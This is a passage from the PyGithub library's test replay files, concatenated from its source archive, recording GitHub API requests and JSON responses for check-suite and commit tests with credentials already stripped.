issue!](https://github.com/JasonEtco/prosebot/issues/new)\r\n","external_url":"https://github.com/JasonEtco/prosebot","html_url":"https://github.com/apps/prosebot","created_at":"2018-10-22T20:28:41Z","updated_at":"2018-10-23T18:40:32Z","permissions":{"checks":"write","contents":"read","pull_requests":"write"},"events":["check_run","check_suite","pull_request"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:55Z","latest_check_runs_count":3,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}}]} https GET api.github.com None /repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a/check-suites?check_name=Alex {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 09 Aug 2020 06:33:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1596958127'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"16c27eb9cbf70658135398352a34984e"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EAC4:55B2:10F0E6:15F054:5F2F98D2')] {"total_count":1,"check_suites":[{"id":1004503395,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzk1","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":19534,"slug":"prosebot","node_id":"MDM6QXBwMTk1MzQ=","owner":{"login":"JasonEtco","id":10660468,"node_id":"MDQ6VXNlcjEwNjYwNDY4","avatar_url":"https://avatars1.githubusercontent.com/u/10660468?v=4","gravatar_id":"","url":"https://api.github.com/users/JasonEtco","html_url":"https://github.com/JasonEtco","followers_url":"https://api.github.com/users/JasonEtco/followers","following_url":"https://api.github.com/users/JasonEtco/following{/other_user}","gists_url":"https://api.github.com/users/JasonEtco/gists{/gist_id}","starred_url":"https://api.github.com/users/JasonEtco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JasonEtco/subscriptions","organizations_url":"https://api.github.com/users/JasonEtco/orgs","repos_url":"https://api.github.com/users/JasonEtco/repos","events_url":"https://api.github.com/users/JasonEtco/events{/privacy}","received_events_url":"https://api.github.com/users/JasonEtco/received_events","type":"User","site_admin":true},"name":"prosebot","description":"Probot App to help you write better on GitHub.\r\n\r\n## Usage\r\n\r\nThis Probot App listens for changes to Markdown files (`.md`) or text files (`.txt`) and runs various checks against them to provide feedback on the English. Currently, the app checks for spelling, prose and inclusive verbiage. This is done by leveraging existing open source libraries, which you can find [listed below](#credits). Here's how it looks in action:\r\n\r\n

\r\n \"image\"\r\n

\r\n\r\n### What it checks\r\n\r\nA non-exhaustive list of the various checks that are run:\r\n\r\n* Correct spelling (and provides possible corrections).\r\n* Use of non-inclusive/profane/offensive language.\r\n* Various prose-related checks, find the full list [here](https://github.com/btford/write-good#checks).\r\n\r\n### Installation\r\n\r\nVisit [the installation page](https://github.com/apps/prosebot) and install the GitHub App on your repositories. That's all there is to it ❤️\r\n\r\n### Configuration\r\n\r\nThere are currently three providers that the app uses to test your text. These can each be disabled, and are all enabled by default. To disable a provider, add a `.github/write-good.yml` file to your repository and set the provider to `false`:\r\n\r\n```yaml\r\n# .github/write-good.yml\r\nwriteGood: true\r\nalex: true\r\nspellchecker: true\r\n```\r\n\r\n### Credits\r\n\r\nThis Probot App is mostly a wrapper around existing open source libraries. The majority of the work is done by those, and they deserve a ton of thanks:\r\n\r\n* [`write-good`](https://github.com/btford/write-good)\r\n* [`alex`](https://github.com/get-alex/alex)\r\n* [`node-spellchecker`](https://github.com/atom/node-spellchecker)\r\n\r\n### Future work\r\n\r\n* Using [Suggested Changes](https://blog.github.com/changelog/2018-10-16-suggested-changes/) to... suggest changes.\r\n* Work on multiple PRs at a time\r\n* Nicer annotations\r\n* More providers? [Open an issue!](https://github.com/JasonEtco/prosebot/issues/new)\r\n","external_url":"https://github.com/JasonEtco/prosebot","html_url":"https://github.com/apps/prosebot","created_at":"2018-10-22T20:28:41Z","updated_at":"2018-10-23T18:40:32Z","permissions":{"checks":"write","contents":"read","pull_requests":"write"},"events":["check_run","check_suite","pull_request"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:55Z","latest_check_runs_count":3,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testUpdateCheckSuitesPreferences.txt0000644000175100001660000003063714756101563027415 0ustar00runnerdockerhttps PATCH api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/preferences {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"auto_trigger_checks": [{"app_id": 85429, "setting": false}]} 200 [('Date', 'Fri, 27 Nov 2020 20:31:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"29056a6c6a03863de1dcb1d31f3b7212c3a460108a1dd923b54f36c006c7cb7a"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1606511185'), ('X-RateLimit-Used', '16'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D598:2E70:313595:3D6087:5FC16235')] {"preferences":{"auto_trigger_checks":[{"app_id":67,"setting":true},{"app_id":85429,"setting":false},{"app_id":86183,"setting":true}]},"repository":{"id":305573836,"node_id":"MDEwOlJlcG9zaXRvcnkzMDU1NzM4MzY=","name":"pygithub-testing","full_name":"dhruvmanila/pygithub-testing","private":false,"owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dhruvmanila/pygithub-testing","description":"This repository is a hot bed for testing GitHub API endpoints for PyGithub.","fork":false,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing","forks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/forks","keys_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/teams","hooks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/hooks","issue_events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/events{/number}","events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/events","assignees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/assignees{/user}","branches_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/branches{/branch}","tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/tags","blobs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/statuses/{sha}","languages_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/languages","stargazers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/stargazers","contributors_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contributors","subscribers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscribers","subscription_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscription","commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/comments{/number}","contents_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contents/{+path}","compare_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/merges","archive_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/downloads","issues_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues{/number}","pulls_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/pulls{/number}","milestones_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/milestones{/number}","notifications_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/labels{/name}","releases_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/releases{/id}","deployments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/deployments"}} https PATCH api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/preferences {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"auto_trigger_checks": [{"app_id": 85429, "setting": true}]} 200 [('Date', 'Fri, 27 Nov 2020 20:31:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"2df2e582a88bdbf265e18c6e813181a1913e6de09e4ff93e1b0c8dcb1deceb05"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1606511185'), ('X-RateLimit-Used', '17'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D599:231D:2B289E:375246:5FC16235')] {"preferences":{"auto_trigger_checks":[{"app_id":67,"setting":true},{"app_id":85429,"setting":true},{"app_id":86183,"setting":true}]},"repository":{"id":305573836,"node_id":"MDEwOlJlcG9zaXRvcnkzMDU1NzM4MzY=","name":"pygithub-testing","full_name":"dhruvmanila/pygithub-testing","private":false,"owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dhruvmanila/pygithub-testing","description":"This repository is a hot bed for testing GitHub API endpoints for PyGithub.","fork":false,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing","forks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/forks","keys_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/teams","hooks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/hooks","issue_events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/events{/number}","events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/events","assignees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/assignees{/user}","branches_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/branches{/branch}","tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/tags","blobs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/statuses/{sha}","languages_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/languages","stargazers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/stargazers","contributors_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contributors","subscribers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscribers","subscription_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscription","commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/comments{/number}","contents_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contents/{+path}","compare_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/merges","archive_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/downloads","issues_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues{/number}","pulls_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/pulls{/number}","milestones_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/milestones{/number}","notifications_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/labels{/name}","releases_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/releases{/id}","deployments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/deployments"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.setUp.txt0000644000175100001660000006727414756101563021266 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 16:05:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8bdb9fd004aa2396a00fe6e7a7d95fa51df7d5cece2ab66cb6937fcc79fefd36"'), ('Last-Modified', 'Sat, 21 Dec 2024 12:42:47 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1735920624'), ('X-RateLimit-Used', '22'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B7D4:12E178:1CE79C76:1DA80274:67780AC5')] {"login":"jacquev6","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false,"name":"Enrico Minack","company":null,"blog":"","location":"Hannover, Germany","email":"github@enrico.minack.dev","hireable":null,"bio":"Open Source Software enthusiast, LF AI Horovod maintainer, Apache Spark contributor.","twitter_username":null,"notification_email":"github@enrico.minack.dev","public_repos":46,"public_gists":0,"followers":71,"following":1,"created_at":"2018-11-02T11:17:22Z","updated_at":"2024-12-21T12:42:47Z"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 16:05:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 